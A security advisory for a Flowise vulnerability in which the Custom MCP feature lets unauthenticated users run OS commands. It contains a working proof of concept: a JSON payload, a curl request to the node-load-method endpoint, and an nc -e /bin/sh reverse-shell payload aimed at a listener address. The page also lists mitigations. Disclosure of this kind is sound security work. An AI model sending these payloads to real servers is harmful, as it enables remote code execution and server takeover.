PT-2025-39501 · Npm · Flowise

Publicado

2025-09-15

·

Atualizado

2025-09-15

CVSS v4.0

8.9

Alta

VetorAV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Summary

The Custom MCPs feature is designed to execute OS commands, for instance, using tools like npx to spin up local MCP Servers. However, Flowise's inherent authentication and authorization model is minimal and lacks role-based access controls (RBAC). Furthermore, the default installation of Flowise operates without authentication unless explicitly configured using the FLOWISE USERNAME and FLOWISE PASSWORD environment variables.
This combination presents a significant security risk, potentially allowing users on the platform to execute unsandboxed system commands. This can result in Remote Code Execution (RCE) and complete compromise of the running platform container or server.

PoC

  1. Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as npx, pnpm, etc): https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker
  2. Create a new file named payload.json somewhere in your machine, with the following data:
{"inputs":{"mcpServerConfig":{"command": "touch","args": ["/tmp/yofitofi"]}},"loadMethod":"listActions"}
  1. Send the following curl request using the payload.json file created above with the following command:
curl -XPOST -H "x-request-from: internal" -H "Content-Type: application/json" --data @payload.json "http://localhost:3000/api/v1/node-load-method/customMCP"
  1. Observe that a new file named yofitofi is created under /tmp folder.
Similarily, we can use the same technique to gain a reverse shell using the built-in nc utility with the following JSON payload:
{"inputs":{"mcpServerConfig":{"command": "nc","args": [
"<LISTENER IP ADDRESS>","<LISTENER PORT>","-e","/bin/sh"
]}},
"loadMethod":"listActions"}
Pasted image 20250420132335

Impact

Remote code execution

Mitigation

  • Consider adding additional access controls surronding sensitive functionality such as Custom MCP, e.g. only users with "Admin" roles will be able to configure new Custom MCPs within the platform.
  • Consider disabling the Custom MCP feature by default, with a clear disclaimer for end users on the implications of enabling this feature.
  • Consider running Custom MCPs within a sandboxed environment

Credit

The vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.

Correção

OS Command Injection

Missing Authorization

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
dbugs@ptsecurity.com

Enumeração de Fraquezas

CWE-78CWE-862

Identificadores relacionados

GHSA-6933-JPX5-Q87Q

Produtos afetados

Flowise